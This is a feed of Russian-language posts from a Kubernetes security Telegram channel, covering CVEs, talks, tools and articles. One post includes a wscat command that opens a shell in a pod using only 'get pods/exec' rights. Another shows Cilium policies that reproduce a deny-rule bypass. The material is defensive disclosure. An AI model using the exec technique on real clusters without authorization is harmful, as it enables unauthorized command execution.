В рамках данного доклада наша команда Luntry делиться своими опытом и знанием о детектах на базе событий Kubernetes Audit Log.

k8s (in)security

18 Nov, 05:00


Making Sense of Kubernetes Initial Access Vectors Part 2 – Data Plane – вторая статья (с первой можно ознакомиться тут) от WIZ, посвященная более глубокому разбору техник для получения Initial Access в Kubernetes кластере.

В этой статье автор разбирает техники, относящиеся к Data Plane:

- Applications – abuse RBAC и abuse system privileges
- NodePort Service
- Images and supply chain

k8s (in)security

15 Nov, 05:05


В рамках конференции Cloud Native Rejekts 2024 прошел доклад “Malicious Compliance Automated: When You Have 4000 Vulnerabilities and only 24 Hours Before Release” от Duffie Cooley и Kyle Quest. Данный доклад является логическим развитием одного из моим самых любимых докладов за последнее время "Malicious Compliance: Reflections on Trusting Container Image Scanners" =)

В новом докладе авторы обманывали сканеры уязвимостей всеми правдами и неправдами уже не в ручную, а автоматизировано и получили результат с нескольких тысяч уязвимостей до 0 =) В основном для это авторы использовали инструмент mint.

Кто там сторонник zero tolerance к уязвимостям?! В общем сезон образов без уязвимостей объявляется открытым!

k8s (in)security

14 Nov, 05:00


Making Sense of Kubernetes Initial Access Vectors Part 1 – Control Plane – неплохая статья от WIZ, посвященная более глубокому разбору техник для получения Initial Access в Kubernetes кластере.

Глобально автор разделил окружения на Control Plane, Data Plane, CI/CD и Cloud Access. В рамках данной статьи автор разбирает техники, относящиеся к Control Plane: Kubelet API Access, Management interfaces и K8s API Access.

k8s (in)security

13 Nov, 05:05


Сегодня начался KubeCon + CloudNativeCon North America 2024, а значит что нас ждет море интересных докладов и анонсов. Ряд из больших анонсов уже были сделаны в преддверии конференции. Нам бы отдельно хотелось выделить:

1) Релиз containerd 2.0 (1.0 была выпущена 7 лет назад) - тут наконец есть стабильная поддержка user namespaces.

2) Istio Ambient Mode (то что работает без sidecar) достиг статуса General Availability в версии v1.24, что заняло у него чуть больше 2-х лет.

P.S. В комментариях можно поделится докладами, которые вам наиболее интересны с данного мероприятия.

k8s (in)security

12 Nov, 05:01


Как думаете, насколько опасна такая Role?


apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: pod-exec-view-role
rules:
- apiGroups: [""]
resources: ["pods/exec"]
verbs: ["get"]


Если вы думали, что только Role/ClusterRole с правами create – pods/exec может позволить пользователю делать exec в Pod, то вы ошибались. Благодаря особенностям работы Websockets, прав get – pods/exec будет достаточно, чтобы выполнять команды в Pod.

Что ещё более интересно, так это то, что такое поведение уже было давно в Kubernetes, но вы могли его не заметить, поскольку по умолчанию для exec использовался SPDY протокол, а не Websockets. О проблеме известно с 2019 года!

Чтобы получить exec при правах get – pods/exec, например, можно воспользоваться wscat:


wscat -s "base64url.bearer.authorization.k8s.io.$token, base64.channel.k8s.io" -n -c 'wss://192.168.99.100:8443/api/v1/namespaces/default/pods/testpod/exec?container=testpod&command=sh&stdout=true&stderr=true&stdin=true&tty=true'


Однако, начиная с версии Kubernetes 1.31 для операций attach, exec и port-forward теперь по умолчанию используется Websockets, а это значит, что прав get – pods/exec будет достаточно, чтобы выполнять команды в Pod.

Нельзя не упомянуть свежую заметку Rory McCune – When is read-only not read-only?, в которой он рассказал об этой особенности.

k8s (in)security

11 Nov, 12:04


12 ноября на конференции DevOops 2024 наша команда Luntry выступит с докладом “Латаем огрехи в образах приложений до рантайма, во время и после”, расскажем как сделать использование образов безопасными.

Внесем изменения на уровне самого образа, применяя модификации слоев с помощью docker-squash, mint и т. д. «Подкрутим» рантайм на уровне операционной системы и Kubernetes: AppArmor, capabilities, управление привилегиями и другие «ручки». Рассмотрим наблюдение за аномальным поведением контейнеров в рантайм.

k8s (in)security

11 Nov, 05:04


Очень крутая статья "Kubernetes: The Road to 1.0" о том как все начиналось! Из материала можно узнать о следующих этапах появление Kubernetes:
1) Опыт эксплуатации оркестраторов Borg и Omega с 2009 по 2013
2) Ранняя разработка API контейнерного продукта в 2H2013
3) Подготовка к запуску в 1H2014
4) Финишная реализация устройства в 2H2014
5) Запуск в 2015

Напомним только что:
- 7 июня 2014 вышел initial релиз Kubernetes
- 10 июля 2015 вышел Kubernetes версии 1

И есть отдельный документальный фильм про Kubernetes.

k8s (in)security

08 Nov, 05:00


Продолжая тематику Kubernetes Network Security, Rory McCune представил новую заметку в своем блоге – Exploring A Basic Kubernetes Network Plugin.

Статья объясняет, как в Kubernetes кластере Pods получают IP-адреса через сетевые плагины, соответствующие спецификации CNI. В примере используется kind с плагином kindnetd.

Конфигурация сети хранится в файле 10-kindnet.conflist, где указаны IP-диапазоны для каждого узла. Для маршрутизации трафика между подами на разных узлах kindnetd создает записи в таблице маршрутизации. В завершение автор отмечает, что работа с сетью в Kubernetes может быть сложной и зависит от выбранного сетевого плагина.

k8s (in)security

07 Nov, 05:04


Совсем недавно обновился учебный план для сертификата Kubernetes Security Specialist (CKS) (новая версия 1.31). Данный план в принципе может быт неким ориентиром по построению защиты у себя. Там есть разбивка на разделы:
- Cluster Setup
- Cluster Hardening
- System Hardening
- Minimize Microservice Vulnerabilities
- Supply Chain Security
- Monitoring, Logging and Runtime Security

Отдельно выделим следующие моменты:
1) Необходимость NetworkPolicy встречается сразу в нескольких разделах
2) "Minimize host OS footprint (reduce attack surface)" <- специализированные OS
3) "Minimize base image footprint" <- про тонкие/минималистичные образы
4) "Perform behavioral analytics to detect malicious activities" <- обнаружение по поведению, а не правилам
5) "Use Kubernetes audit logs to monitor access" <- доклад об этом сегодня от нас на SOC Forum ;)

k8s (in)security

06 Nov, 05:01


Тем временем, в предверии конференции KubeCon + CloudNativeCon NA 2024, вышла новая версия Kyverno1.13. Основных изменений не так много:

- добавлена поддержка подписей images, использующих sigstore bundle
- добавлена поддержка PolicyExceptions для ValidatingAdmissionPolicies сгенерированных из Kyverno политик (используя subrule validate.cel)

Также нельзя не упомянуть о ломающих изменениях:

1) С версии 1.13 у контроллеров Kyverno отобраны wildcard разрешения на просмотр всех ресурсов. Это изменение может повлиять на отчеты, а также на политики mutate и generate на пользовательских ресурсах, поскольку контроллер больше не сможет просматривать пользовательские ресурсы
2) CVE-2024-48921 позволяла пользователям с возможностью создавать PolicyExceptions обходить ClusterPolicy в конкретном неймспейсе.

k8s (in)security

05 Nov, 05:19


Начнем новую неделю с замечательного туториала "How to Build Smaller Container Images: Docker Multi-Stage Builds". Основная задача материала научить делать маленькие/тонкие и более безопасные образы для приложений. Одним из основных посылов является: "build and runtime images should also be completely separate!". Из статьи вы узнаете:

1) Как делать не надо.
2) Что такое Multi-Stage сборки
3) Примеры Multi-Stage сборки для Node.js, Go, Rust, Java, PHP

k8s (in)security

02 Nov, 05:01


Rory McCune, чьи исследования мы не раз упомянали на канале, начал новую серию статей – на этот раз, посвященную Kubernetes network security.

Первая статья из цикла – The Many IP Addresses of Kubernetes. В ней автор объясняет сложность сетевых IP-адресов в Kubernetes, где используются три основные IP-диапазона: адреса для Nodes, overlay сети для Pods и сети для Service. Также на примере разбирается как Kubernetes связывает IP на уровне ОС с помощью iptables, управляемых kube-proxy.

k8s (in)security

01 Nov, 13:31


7 ноября в 17:00 в рамках SOC Forum 2024 наша команда Luntry представит доклад “Kubernetes Audit Log в арсенале SOC”.

Там мы погрузимся в премудрости механизма Kubernetes Audit Log. Разберемся, какие там есть подводные камни и слепые зоны и как максимально от него получить пользу для обнаружения злоумышленников.

Выступление можно посмотреть как offline, так и online на сайте мероприятия.

k8s (in)security

01 Nov, 06:32


Сегодня в центре нашего внимания статья "Exploring Google Cloud Default Service Accounts: Deep Dive and Real-World Adoption Trends". В рамках нее исследователи проанализировать права облачного Default Service Accounts в облаке GCP и в частности Google Kubernetes Engine (GKE). Материал будет полезен как клиентам данных систем, так и облачным провайдерам, чтобы своевременно предусмотреть и создать соответствующие механизмы безопасности. В частности тут речь идет про Workload Identity, про который мы уже неоднократно писали [1,2,3,4] на канале, но не встречали аналога в отечественных облаках.

P.S. В комментариях нас поправили - в Yandex данная фича уже появилась

k8s (in)security

31 Oct, 12:19


6 ноября в 11:00 состоится онлайн-конференция AM Live “Защита контейнерных сред”. Наша команда Luntry, примет участие и вместе с другими спикерами обсудит риски и средства защиты контейнерных сред.

Зарегистрироваться можно тут.

k8s (in)security

31 Oct, 05:01


Сегодня хотим поделиться крутым докладом от Rory McCune – Charting the Course: The History and Evolution of Kubernetes Security с недавно прошедшей конференции Kubernetes Community Days UK.

В докладе автор рассказывает о том как значительно улучшилась безопасность Kubernetes за последние 10 лет, а также о моментах на которые нужно и важно обращать внимание. Ко всему прочему автор не забывает упомянуть 4 "неисправимых" CVE в Kubernetes.

k8s (in)security

30 Oct, 05:04


AWRBACS - это инструмент на Go предназначенный упростить аудит CRUD прав в Kubernetes RBAC. Подробнее об его истории и назначении можно узнать из статьи автора "AWRBACS: AWACS for RBAC".

k8s (in)security

29 Oct, 12:01


30 октября на конференции SafeCode 2024 Autumn наша команда в лице Сергея Канибора представит доклад "Security observability в Kubernetes". Из доклада вы узнаете, как Luntry может помочь разработчикам, QA-специалистам, системным аналитикам, Ops/DevOps/DevSecOps, командам ИБ и SOC строить и поддерживать надежную и безопасную инфраструктуру.

Также на конференции наш коллега Анатолий Карпенко (Luntry) совместно с Алексеем Федулаевым (MTC Web Services) проведут воркшоп "Готовим контейнеры вкусно и полезно".

k8s (in)security

29 Oct, 05:01


Scaling in the Clouds: Istio Ambient vs. Cilium – интересная статья-сравнение, опубликованная в блоге Istio инженером из Microsoft.

Istio был запущен в ambient mode с waypoint proxy в каждом namespace. Чтобы сделать сценарии похожими, в кластере с Cilium был включен WireGuard encryption, L7 proxies и Node Init, а также была применена L7 Cilium Network Policy в каждом namespace.

По итогам тестирования автор выяснил, что значительные проблемы в производительности у Cilium начинаются при работающих L7 политиках и включенном шифровании. Хотя Istio в то же время потреблял больше ресурсов.

С заметками автора можно ознакомиться тут.

k8s (in)security

28 Oct, 05:04


Начнем эту неделю с крутой статьи "Securing Continuous Delivery: Argo CD Threat Detection", которую написали наши постоянные читатели и любезно поделились ей с нами ;) От ребят ранее была и другая не менее интересная статья про Threat Detection в k8s, но вернемся к сегодняшней теме. В рамках данной стать рассматривается стратегия обнаружения угроз в ArgoCD. Если вы используете данный GitOps оператор, то он определённо играет ключевую роль у вас в кластере, так что стоит серьезно задуматься о его безопасности. И вот в статье приведено 12 полезных детектов для данной системы. Специалистам SOC обязательно к изучению! Так же из статьи можно узнать как вообще об устройстве ArgoCD, так и о его модели угроз, которая отдельна описана в замечательном документе "Argo CD End User Threat Model".

k8s (in)security

25 Oct, 05:00


В Cilium раскрыли очередную уязвимость – CVE-2024-47825: CIDR deny policies may not take effect when a more narrow CIDR allow is present.

Например, при использовании приведенных ниже политик трафик разрешен для 1.1.1.2, в то время как он должен быть запрещен:


apiVersion: cilium.io/v2
kind: CiliumClusterwideNetworkPolicy
metadata:
name: block-scary-range
spec:
endpointSelector: {}
egressDeny:
- toCIDRSet:
- cidr: 1.0.0.0/8
---
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: evade-deny
spec:
endpointSelector: {}
egress:
- toCIDR:
- 1.1.1.2/32
- toEntities:
- all


Так что если у вас есть сетевые политики в кластере, это еще не значит, что они работают =) Ну и про лейблы забывать также не стоит.

Всем хороших выходных!

k8s (in)security

24 Oct, 05:04


Давненько у нас не было хардкорных постов про ядро и его эксплуатацию - исправляемся.

Встречайте статью "SELinux bypasses". Из данного материала вы узнаете:
- Что такое SELinux и как он реализован
- 6 способов его обхода

Да, в статье рассматривается все на пример ОС Android, но как вы знаете в Kubernetes мы тоже можем использовать SELinux и по сути он не чем не отличается.

k8s (in)security

23 Oct, 05:01


Большой ресерч от DataDog State of Cloud Security получил апдейт. Там есть два интересных момента, которые особо не подсвечивают облачные провайдеры:

1) Managed Kubernetes, запущенные по умолчанию увеличивают риск атаки
2) Опасные (привилегированные) IAM роли в Managed k8s увеличивают риск для pivot

Исследование проводилось на AWS, Azure и Google Cloud так что настоятельно рекомендуем с ним ознакомиться всем, кто имеет дело с этими облаками или просто интересуется облачной безопасностью.

k8s (in)security

22 Oct, 05:04


Продолжаем тему обучающих материалов о сети в Kubernetes и сегодня у нас замечательный лонгрид "Kubernetes networking: service, kube-proxy, load balancing".

k8s (in)security

21 Oct, 05:01


Understanding DNS resolution on Linux and Kubernetes – неплохая статья от Jérôme Petazzoni, повествующая о возможных сложностях резолва DNS имён в Kubernetes и Linux в целом.

k8s (in)security

18 Oct, 05:04


Уже давно я задавался вопросом, но все никак не доходили руки разобраться, зачем и для чего вообще нужен встроенный Admission Controller под названием ImagePolicyWebhook. В принципе, из названия можно понять для чего он нужен, но вот какой в нем есть смысл и преимущество по сравнению с ValidatingAdmissionWebhook было непонятно. Поиски привели к прекрасной статье "Kubernetes Image Policy Webhook Explained" (репозиторий со всем кодом тут) в которой они оба и сравниваются.

По итогу в эру PolicyEngine движков этот механизм явно должен кануть в Лету, так как на сегодняшний день никаких преимуществ он не дает.

P.S. Всем хороших выходных!

k8s (in)security

17 Oct, 05:00


Если вы по какой-то причине до сих пор используете обычные базовые образы (вроде debian или ubuntu) и не переходите на distroless, то статья "The vulnerability puzzle: understanding base images and their relationship to CVEs" как раз для вас.

Статья рассматривает уязвимости базовых образов контейнеров, которые могут содержать известные CVE. Отдельное внимание уделено зависимостям, которые могут быть точками входа для атак.

Авторы предлагают меры для минимизации риска, включая использование сканеров уязвимостей и оценку их актуальности.

k8s (in)security

16 Oct, 05:04


Посмотрели недавно доклад с хайповым названием "Coping with Zero-Days with Cilium Tetragon". По факту один маркетинг, но давайте разбираться со всем по порядку.

1) Из описания доклада "When a new CVE and its patches are announced, it's called a "zero day"" <- НЕТ! Это называется 1day, так патч уже есть. 0day как раз когда патча нет.
2) Чтобы ответить на вопрос "Is the affected version built into any of our images?", которым задается автор, не нужен сбор информации в runtime через eBPF. Достаточно SBOM и информация его распределениям по образам, далее узнать, где запушен с ним Pod находится в поле Status.
3) Допустим, что хотим узнавать в runtime. Для этого авторы подписываются на функцию security_mmap_file и при ее вызове сравнивают ее аргумент с версиями уязвимых библиотек "liblzma.so.5.6.0" и "liblzma.so.5.6.1". И получаем сразу 3 странных момента: это дополнительный оверхед при старте всех приложений, если приложение уже загрузило эту библиотеку, то ничего обнаружено не будет, и чтобы поймать 0day нужно заранее знать имена библиотек, что, конечно, невозможно для реальных сценариев ловли 0day.
4) "block policy" <- на скриншоте видно, что библиотека уже загрузилась и уже после отправляется процессу SIGKILL. В итоге, это не блокировка, а реакция и непонятно, что успел сделать тот код.
5) "Low Overhead" <- все красиво, когда политика одна. Ситуация разительно ухудшается при сложных политиках и при их большом количестве. Банально нужно больше проверок проделать и все это делается прямо на клиенте. То есть потребление сенсора будет расти пропорционально количеству политик/проверок. Ничего не бывает бесплатно.

k8s (in)security

15 Oct, 12:00


Недавно наша команда, в лице Сергея Канибора, приняла участие в подкасте [SafeCode Live] – "Как взломать Kubernetes?".

На подкасте с нашими хорошими товарищами – Алексеем Федулаевым (MTS Web Services) и Вадимом Шелестом (Wildberries) мы обсудили:

- отличия пентеста контейнеров от пентеста веба и инфраструктуры 
- компетенции специалиста, который этим занимается
- уязвимости и способы защитить контейнеры.

Ну и конечно же поделились интересными историями с пентест-проектов =)

Выпуск доступен на YouTube.

Слушайте подкаст на других платформах:
- Apple Podcasts 
- Яндекс Музыка
- ВКонтакте

k8s (in)security

15 Oct, 05:00


Ещё двумя уязвимостями пополнился Kubernetes CVE Feed, а именно CVE-2024-9486 и CVE-2024-9594: VM images built with Kubernetes Image Builder use default credentials.

В результате эксплуатации уязвимостей неавторизованный пользователь может получить доступ по ssh к Node, использующий образ VM, созданный с помощью Kubernetes Image Builder.

Найденным уязвимостям были присвоены оценки 9.8 и 6.3 по CVSS.

В качестве мер митигации предлагается пересобрать образы, используя новую версию Image Builder. До обновления эту уязвимость можно митигировать, отключив учетную запись builder на затронутых VM:


usermod -L builder

k8s (in)security

14 Oct, 05:04


Два классных репозитария для глубокого понимания и изучения принципов работы двух важнейших компонентов любого Kubernetes кластера - CNI (Container Network Interface) и CRI (Container Runtime Interface):
1) Demystifying CNI
2) Demystifying CRI

Автор заверяет, что потом вы сможете написать их с нуля) Данный тезис мы не проверяли, но все объясняется очень низкоуровнево!

k8s (in)security

11 Oct, 12:04


21 октября на конференции Industrial++ 2024 наша команда Luntry совместно с Моной Архиповой представят доклад «Безопасность от виртуальных машин до контейнеров и обратно».

Департаменты IТ и ИБ уже приняли, адаптировали виртуализацию и виртуальные машины в свой технологический стек и процессы. Но время неумолимо бежит вперед и приводит индустрию к контейнеризации, контейнерам, оркестраторам (Kubernetes).

Мы проведем между ними параллели, чтобы понять, где они сходятся, а где расходятся. Это позволит понять разницу, преимущества и недостатки, на основании которых можно эффективно играть и использовать их как порознь, так и совместно во благо безопасности.

k8s (in)security

11 Oct, 05:01


Заканчиваем эту неделю новостью, связанную с обновлением документации Kubernetes по части security. А именно новому разделу – Seccomp and Kubernetes.

В этой небольшой статье рассказывается об основах API Seccomp профилей в Kubernetes, и то как они сопоставляются с syscalls.

k8s (in)security

10 Oct, 05:04


Capslock - новая OpenSource разработка от компании Google, позволяющая проводить capability analysis (анализ возможностей) для Go пакетов (прямых и транзитивных зависимостей). Результатом его работы является перечень привилегированных операций, которые может делать данное ПО. На сегодняшний день их 15 штук, такие как:
- CAPABILITY_EXEC
- CAPABILITY_ARBITRARY_EXECUTION
- CAPABILITY_SYSTEM_CALLS
- CAPABILITY_FILES
- CAPABILITY_NETWORK
- ...

Как не трудно догадаться это очень полезно в тематике supply chain безопасности. И это сильно смахивает на идею с Android permissions ;) Как по нам за такими штуками будущее - когда четко понимаешь что запускаешь.

Также уже встроили в портал deps.dev (общаться по API), можно делать дифы (capslock-git-diff) между версиями пакетов и кастомизировать собственные категории!!!

Подробнее об инструменте можно узнать из презентации "Capslock: Escaping Bad Dependencies" c Open Source Summit Europe 2024.

k8s (in)security

09 Oct, 05:01


Большая и наглядная статья "Shielding Your Kubernetes Network: Mastering iptables for Enhanced Security" рассматривает использование iptables для повышения сетевой безопасности в Kubernetes кластерах.

Автор статьи объясняет, как с помощью iptables можно управлять сетевым трафиком, защищая его от потенциальных угроз. В статье представлены базовые концепции и команды для настройки iptables, а также практические примеры, которые помогают лучше понять, как интегрировать правила iptables в Kubernetes для защиты кластера.

В том числе автор показывает как читать и понимать цепочки правил iptables – то, что нужно для начинающих.

k8s (in)security

08 Oct, 05:04


В этом году на Open Source Summit North America 2024 в рамках ContainerCon был замечательный доклад "Reinventing Container Linux for the Wasm Era (and More) with System Extensions" (WASM в названии больше для хайпа, в самой презе всего ничего слайдов о нем).

Данный доклад продолжает и расширяет одну из наших любимых тем - container-specific OS! А расширяет он эту тему тем что авторы предлагают следующий шаг за данной категорией - Composable Linux.

По сути вся идея крутится вокруг механизма systemd-sysext (еще тут хорошо описано), а демонстрируется на примере дистрибутива Flatcar, в котором это уже все сделали. Примеры для него можно посмотреть тут и там есть: kubernetes, docker, nvidia-runtime, wasmtime, ollama и т.д.

P.S. Про Flatcar был замечательный доклад на нашей прошлогодней конференции БеКон.

P.S.S. В OS Talos это присутствует под названием Talos Linux System Extensions.

k8s (in)security

07 Oct, 05:01


Начинаем эту неделю с неплохой статьи "Kubernetes RBAC Permissions You Might Not Know About, but Should". Она поможет разобраться с опасными RBAC правами в Kubernetes, а также разъяснит потенциальный импакт от использования таких прав.

Конечно, в статье описаны далеко не все такие права. Так например, у нас в Luntry используется около 40 правил для проверки опасных прав RBAC. Кроме этого есть возможность создавать свои правила.

k8s (in)security

04 Oct, 05:04


В эту пятницу хотелось бы немного поразмышлять на тему AI.

В последнее время все чаще на различных конференциях/подкастах/статья можно встретить прогноз/желание/стремление, что AI-ассистенты заменят начинающих/junior специалистов". В логике того что этот уровень знаний текущие наработки уже практически тянут. При этом под специалистами тут у нас и DevOps, DevSecOps, AppSec, Developers и т.д.

Но почему-то в этот момент практически никто не задумается о том а как тогда будут появляться новые middle (в последствии senior) специалисты ?! Университеты или online-курсы сразу начнут их выпускать?!

Все должны понимать базу, без базы никуда ... С нее надо начинать.

k8s (in)security

03 Oct, 05:00


RBAC Wizard – небольшая тулза, которая поможет с визуализацией и анализом текущей RBAC конфигурации в вашем Kubernetes кластере. Тут важно подчеркнуть, что доступны только визуализация и отображение связей между RBAC сущностями.

k8s (in)security

02 Oct, 05:03


Недавно с большим удивлениям для себя открыл что для container-specific OS тоже есть CIS Benchmarks! Конкретно сейчас это есть для: Bottlerocket и Talos. В глаза сразу сильно бросается разница в количестве пунктов по сравнению с ОС общего назначения. В то же Talos их всего около 20. Думаю, что даже и не стоит говорить какой тип ОС проще довести до более защищенного состояния, но есть своя специфика ;)

k8s (in)security

01 Oct, 12:03


2 октября в 16:30 на AM Life Plus, посвящённой безопасной разработке, DevSecOps в рамках "AM TALK: ТЕХНОЛОГИИ БЕЗ СТЕРЕОТИПОВ" в стиле TEDx наша команда раскроет тему "Как контейнеры и Kubernetes меняют ландшафт угроз". По рассуждаем что нам принес этот новый дивный мир)

k8s (in)security

01 Oct, 05:01


Если вы запускаете ML нагрузки в своих Kubernetes кластерах, то наверняка слышали про такие решения как NVIDIA Container Toolkit и GPU Operator.

Так вот совсем недавно исследователи из WIZ обнаружили уязвимость в этих продуктах, благодаря которой потенциальный злоумышленник может совершить побег из контейнера. Если быть точным и углубиться в детали, то для эксплуатации атакующий должен запустить нагрузку с заранее заготовленным уязвимым docker image. После этого у него появляется возможность полностью примонтировать файловую систему хоста. Уязвимости присвоен CVE-2024-0132.

Необходимые патчи выпущены в релизах 1.16.2 и 24.6.2 для NVIDIA Container Toolkit и NVIDIA GPU Operator соответственно.

k8s (in)security

30 Sep, 12:49


30 октября на конференции SafeCode 2024 Autumn пройдет воркшоп “Готовим контейнеры полезно и вкусно”. Воркшоп проведут Анатолий Карпенко (Luntry) (также известный как) и Алексей Федулаев (МТС Web Services) (также известный как). Там точно будет полезно, весело и задорно ;)

k8s (in)security

30 Sep, 05:03


На нашем сайте стали доступны слайды и видеозапись вебинара "С чего начать защиту кластера Kubernetes?". Там мы постарались ответить на вопросы:
— Какие минимально-необходимые меры принимать для защиты кластера в моменте;
— Как постепенно наращивать уровень безопасности;
— Какие минимальные действия и вложения могут дать наибольший результат;
— Как не пропасть в рутине исправления множества уязвимостей.

При этом мы достаточно подробно рассмотрели с чего стоит начать в каждом из 7 доменов безопасности Kubernetes в самом начале пути (и немного последующие шаги). Как мы уже говорили на самом вебинаре какой из доменов начинать делать первым зависит от рассматриваемой вашей компании модели угроз, модели нарушителе и поверхности атаки. Это каждый раз уникально и зависит от целей и задачей того или иного кластера. Одно дело это кластер с приложениями, смотрящими в сеть интернет, другое дело build кластера, ML-кластера, кластера в закрытом контуре и т.д.

И как всегда в комментариях будем рады ответить на любые вопросе по данной теме.

P.S. Спасибо всем кто пришел и задавал вопросы!

k8s (in)security

27 Sep, 05:00


Команда исследователей из Datadog Security Research раскрыла новую вредоносную кампанию, нацеленную на Docker и Kubernetes. Как это обычно принято у злоумышленников – они масштабно запускали майнеры, на этот раз, используя мисконфиги в kubelet.

Ресерчеры пока отказываются прямо атрибутировать действия злоумышленников с группировкой TeamTNT, о которой мы как-то рассказывали на канале. Тем не менее ряд инструментов и скриптов, используемых злоумышленниками так или иначе указывают принадлежность или связь с TeamTNT.

Более подробно об исследовании можно почитать по ссылке тут.